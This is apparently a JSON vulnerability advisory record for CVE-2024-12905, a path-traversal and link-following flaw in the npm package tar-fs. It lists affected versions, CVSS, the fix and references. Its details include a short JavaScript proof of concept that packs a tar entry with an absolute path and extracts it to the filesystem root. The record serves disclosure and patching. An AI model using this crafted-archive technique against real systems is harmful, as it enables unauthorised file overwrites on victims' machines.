{"id":"CVE-2024-12905","aliases":["GHSA-pq67-2wwv-3xjx"],"url":"https://o3.security/vulnerability/CVE-2024-12905","summary":"tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File","details":"An Improper Link Resolution Before File Access (\"Link Following\") and Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.\n\nThis issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.\n\n### PoC\n```javascript\n// Create a writable stream to extract the tar content\nconst extractStream = tarfs.extract('/', {\n    // We can ignore the file type checks to allow the extraction of the malicious file\n    ignore: (name) => false,\n});\n\n// Create a tar stream\nconst tarStream = tarfs.pack().on('error', (err) => {\n    throw err;\n});\n\n// Append the malicious entry to the tar stream\ntarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));\n\n// Finalize the tar stream\ntarStream.finalize();\n\n// Pipe the tar stream into the extract stream\ntarStream.pipe(extractStream);\n```","published":"2025-03-27T16:25:34.410Z","modified":"2026-08-12T03:51:32.913208857Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"tar-fs","fixedVersion":"1.16.4"},{"ecosystem":"npm","name":"tar-fs","fixedVersion":"2.1.2"},{"ecosystem":"npm","name":"tar-fs","fixedVersion":"3.0.7"}],"fix":{"url":"https://github.com/mafintosh/tar-fs/commit/a1dd7e7c7f4b4a8bd2ab60f513baca573b44e2ed","label":"mafintosh/tar-fs@a1dd7e7"},"references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/06/msg00012.html"},{"type":"WEB","url":"https://registry.npmjs.org"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/12xxx/CVE-2024-12905.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-12905"},{"type":"FIX","url":"https://github.com/mafintosh/tar-fs/commit/a1dd7e7c7f4b4a8bd2ab60f513baca573b44e2ed"},{"type":"PACKAGE","url":"https://github.com/mafintosh/tar-fs"},{"type":"ARTICLE","url":"https://www.seal.security/blog/a-link-to-the-past-uncovering-a-new-vulnerability-in-tar-fs"},{"type":"WEB","url":"https://arxiv.org/abs/2506.04962"},{"type":"WEB","url":"https://arxiv.org/pdf/2506.04962"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:32.913208857Z"}}